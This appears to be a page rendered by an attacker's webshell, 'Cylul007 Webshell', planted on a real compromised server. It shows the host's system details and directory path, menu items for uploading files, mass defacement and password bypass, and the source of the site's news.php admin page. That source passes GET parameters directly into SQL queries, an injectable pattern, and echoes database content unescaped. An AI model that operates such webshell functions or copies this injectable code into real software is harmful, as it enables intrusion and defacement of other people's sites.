Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 18:25:39
Current Directory :
/
home
/
amvm
/
public_html
/
majri
/
myadmin
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/public_html/majri/myadmin/news.php
<?php include('header.php');?> <!-- =============================================== --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> News </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">News</a></li> <li class="active">View</li> </ol> </section> <!-- Main content --> <div class="callout callout-info"> <h4>Tip!</h4> <p>This page will show you all the news upload by the user.</p> </div> <!-- Default box --> <a href='add-news.php' class="btn btn-info" style="margin-left: 15px;">Add News</a><br> <?php if (isset($_GET['pageno'])) { $pageno = $_GET['pageno']; } else { $pageno = 1; } $no_of_records_per_page = 10; $offset = ($pageno-1) * $no_of_records_per_page; $total_pages_sql = "SELECT COUNT(*) FROM news WHERE status='active'"; $result = mysqli_query($mysql_con, $total_pages_sql); $total_rows = mysqli_fetch_array($result)[0]; $total_pages = ceil($total_rows / $no_of_records_per_page); $sql = "SELECT * FROM news WHERE status= 'active' LIMIT $offset, $no_of_records_per_page"; $result = mysqli_query($mysql_con, $sql); if (isset($_GET['delete_id'])){ $page_id = $_GET['delete_id']; $sql = "UPDATE news SET status='inactive' WHERE id = '$page_id' "; $query = mysqli_query($mysql_con, $sql); header ('location: news.php'); } $counter=$offset+1; ?> <!-- Main content --> <section class="content"> <div class="row"> <div class="col-xs-12"> <!-- /.box --> <div class="box"> <div class="box-header"> <h3 class="box-title">Data Table With Full Features</h3> </div> <!-- /.box-header --> <div class="box-body"> <table id="example1" class="table table-bordered table-striped"> <thead> <tr> <th>Sr.No.</th> <th>Title</th> <th>Description</th> <th>Date & Time</th> <th> Photo </th> <th>Action</th> </tr> </thead> <tbody> <?php $sr_no = 1; while($row = mysqli_fetch_array($result)) {?> <tr> <td><?php echo $counter++; ?></td> <td><?php echo $row['title'] ; ?></td> <td><?php echo substr ($row['detail'],0,100) ; ?></td> <td><?php echo $row['date_time']; ?></td> <td><img width="100" height="100" src="../myadmin/photo/<?php echo $row['photo'] ;?>"></td> <td> <a href='update-news.php?edit_id=<?php echo $row["id"] ; ?>' class="btn btn-info">Edit</a> <a href="news.php?delete_id=<?php echo $row["id"] ; ?> " class="btn btn-danger">Delete</a> </td> </tr> <?php $sr_no ++; }?> </tbody> </table> </div> <!-- /.box-body --> <ul class="pagination"> <li><a href="?pageno=1">First</a></li> <li class="<?php if($pageno <= 1){ echo 'disabled'; } ?>"> <a href="<?php if($pageno <= 1){ echo '#'; } else { echo "?pageno=".($pageno - 1); } ?>">Prev</a> </li> <li class="<?php if($pageno >= $total_pages){ echo 'disabled'; } ?>"> <a href="<?php if($pageno >= $total_pages){ echo '#'; } else { echo "?pageno=".($pageno + 1); } ?>">Next</a> </li> <li><a href="?pageno=<?php echo $total_pages; ?>">Last</a></li> </ul> </div> <!-- /.box --> <!-- /.col --> </div> <!-- /.row --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <?php include("footer.php"); ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18